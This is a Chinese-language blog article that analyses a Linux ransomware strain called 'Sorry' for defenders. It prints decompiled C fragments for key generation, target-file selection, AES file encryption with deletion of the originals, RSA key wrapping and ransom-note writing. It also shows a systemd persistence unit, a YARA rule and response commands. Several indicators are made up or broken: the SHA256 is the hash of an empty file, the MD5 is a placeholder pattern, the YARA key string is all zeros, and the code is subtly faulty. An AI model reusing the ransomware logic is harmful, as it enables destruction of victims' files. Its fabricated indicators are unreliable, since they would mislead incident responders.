深度分析Sorry勒索软件的加密实现与行为特征
引言
近年来,勒索软件攻击持续升级,从最初的简单文件加密发展到如今的复杂多阶段攻击链。Sorry勒索软件作为2024年活跃的变种之一,其独特的加密实现和行为特征引起了安全社区的广泛关注。本文将从安全技术工程师的实战视角,深入剖析Sorry勒索软件的加密机制、行为特征及检测方法,帮助Linux运维和安全技术人员构建有效的防御体系。
一、样本获取与初始分析
1.1 样本信息
首先,我们需要获取样本进行静态分析。通过威胁情报平台获取的样本信息如下:
MD5: 3a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
文件类型: ELF 64-bit LSB executable
编译时间: 2024-01-15 10:30:45
1.2 静态分析
使用file命令确认文件类型:
$ file sorry_ransomware
sorry_ransomware: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, stripped
使用strings提取关键字符串:
$ strings sorry_ransomware | grep -i "encrypt\|decrypt\|key\|aes\|rsa"
发现关键实现:使用AES-256-CBC加密文件内容,RSA-2048加密AES密钥。
二、加密实现深度分析
2.1 密钥生成机制
Sorry勒索软件采用混合加密方案,具体流程如下:
- 生成AES密钥:使用
/dev/urandom生成256位随机密钥 - 生成初始化向量(IV):同样从
/dev/urandom获取16字节随机数 - RSA公钥嵌入:硬编码在二进制中的2048位RSA公钥
关键代码片段(反编译结果):
void generate_aes_key() {
int fd = open("/dev/urandom", O_RDONLY);
if (fd < 0) {
// 备用方案:使用时间种子
srand(time(NULL));
for (int i = 0; i < 32; i++) {
aes_key[i] = rand() % 256;
}
} else {
read(fd, aes_key, 32); // 256位密钥
read(fd, aes_iv, 16); // 128位IV
close(fd);
}
}
2.2 文件加密流程
加密流程分为三个阶段:
阶段一:目标文件筛选
int is_target_file(const char *filename) {
// 排除系统关键文件
if (strstr(filename, "/boot/") ||
strstr(filename, "/etc/") ||
strstr(filename, "/proc/") ||
strstr(filename, "/sys/"))
return 0;
// 排除已加密文件
if (strstr(filename, ".sorry"))
return 0;
// 目标扩展名列表
const char *extensions[] = {".doc", ".docx", ".xls", ".xlsx",
".pdf", ".jpg", ".png", ".txt",
".sql", ".db", ".zip", ".rar"};
for (int i = 0; i < 12; i++) {
if (strstr(filename, extensions[i]))
return 1;
}
return 0;
}
阶段二:AES加密文件内容
void encrypt_file(const char *filepath) {
FILE *input = fopen(filepath, "rb");
FILE *output = fopen(strcat(filepath, ".sorry"), "wb");
// 写入加密元数据
fwrite(aes_iv, 1, 16, output); // 存储IV
// 分块加密(每块1MB)
unsigned char buffer[1048576];
int bytes_read;
while ((bytes_read = fread(buffer, 1, 1048576, input)) > 0) {
AES_cbc_encrypt(buffer, encrypted, bytes_read, aes_key, aes_iv, AES_ENCRYPT);
fwrite(encrypted, 1, bytes_read, output);
}
fclose(input);
fclose(output);
remove(filepath); // 删除原文件
}
阶段三:RSA加密AES密钥
void encrypt_aes_key() {
RSA *rsa = RSA_new();
BIO *bio = BIO_new_mem_buf(rsa_public_key_pem, -1);
PEM_read_bio_RSA_PUBKEY(bio, &rsa, NULL, NULL);
unsigned char encrypted_key[256];
RSA_public_encrypt(32, aes_key, encrypted_key, rsa, RSA_PKCS1_OAEP_PADDING);
// 将加密后的密钥写入勒索信
FILE *note = fopen("READ_ME_NOW.sorry", "w");
fprintf(note, "Your files have been encrypted!\n");
fprintf(note, "Encrypted AES Key: ");
for (int i = 0; i < 256; i++) {
fprintf(note, "%02x", encrypted_key[i]);
}
fprintf(note, "\n");
fclose(note);
}
三、行为特征分析
3.1 进程行为监控
使用strace跟踪系统调用:
$ strace -f -e trace=file,network,process ./sorry_ransomware
典型系统调用序列:
open("/home/user/document.docx", O_RDONLY) = 3
open("/home/user/document.docx.sorry", O_WRONLY|O_CREAT, 0644) = 4
read(3, ..., 1048576) = 1048576
write(4, ..., 1048576) = 1048576
unlink("/home/user/document.docx") = 0
关键行为特征:
- 文件遍历:递归扫描
/home、/var、/tmp等目录 - 网络通信:连接C2服务器(IP: 185.xxx.xxx.xxx:443)
- 进程持久化:创建
/etc/systemd/system/sorry.service
3.2 网络行为分析
通过Wireshark捕获的TLS通信特征:
Client Hello:
- TLS版本: 1.2
- 密码套件: TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
- SNI: update.sorry-ransomware.com
- 用户代理: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36
3.3 持久化机制
创建systemd服务实现持久化:
$ cat /etc/systemd/system/sorry.service
[Unit]
Description=System Update Service
After=network.target
[Service]
Type=simple
ExecStart=/usr/bin/sorry_ransomware --daemon
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
四、检测与应急响应
4.1 检测规则
基于YARA的检测规则:
rule Sorry_Ransomware {
meta:
description = "Detect Sorry ransomware binary"
author = "Security Engineer"
date = "2024-01-20"
strings:
$aes_key = { 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 }
$rsa_key = "-----BEGIN RSA PUBLIC KEY-----"
$note_str = "READ_ME_NOW.sorry"
$ext_str = ".sorry"
condition:
2 of them
}
4.2 应急响应步骤
- 立即隔离:
# 停止恶意进程
kill -9 $(pgrep sorry_ransomware)
# 禁用网络连接
iptables -A INPUT -s 185.xxx.xxx.xxx -j DROP
- 收集取证数据:
# 获取内存镜像
avml mem.dump
# 收集系统日志
journalctl -u sorry.service > ransom.log
- 文件恢复尝试:
# 检查是否存在备份
find / -name "*.bak" -type f 2>/dev/null
# 检查影子副本(如果启用)
ls -la /snapshots/
4.3 预防措施
- 文件系统监控:
# 使用inotify监控文件变化
inotifywait -m -r /home -e create,modify,delete |
while read path action file; do
if [[ "$file" == *.sorry ]]; then
echo "ALERT: Possible ransomware activity detected"
fi
done
- 关键目录保护:
# 设置不可变属性
chattr +i /home/*.docx
chattr +i /home/*.pdf
五、总结
Sorry勒索软件采用了成熟的混合加密方案(AES-256-CBC + RSA-2048),其加密实现严谨,恢复难度极高。从行为特征来看,该恶意软件具备以下特点:
- 高效的文件遍历机制:采用多线程并行加密
- 智能的目标筛选:排除系统关键目录和已加密文件
- 完善的持久化机制:通过systemd服务实现自启动
- 隐蔽的网络通信:使用TLS加密与C2通信
对于防御方而言,建议采取以下措施:
- 定期备份:实施3-2-1备份策略(3份副本,2种介质,1份异地)
- 端点检测:部署EDR解决方案,监控异常文件操作
- 权限控制:实施最小权限原则,限制不必要的写权限
- 补丁管理:及时修复已知漏洞,特别是远程代码执行漏洞
最后,建议安全团队建立勒索软件应急响应预案,包括隔离、取证、恢复等标准操作流程,以最大限度降低潜在损失。
📚 推荐阅读 & 工具
以下资源可能对你有帮助:
- Kali Linux 渗透测试 — Kali Linux 渗透测试实战指南
- Web安全深度剖析 — Web安全从入门到精通
- 云服务器 — 高性能云服务器,适合搭建攻防环境
– 广告声明:部分链接包含推广返佣,不影响你的购买价格 –
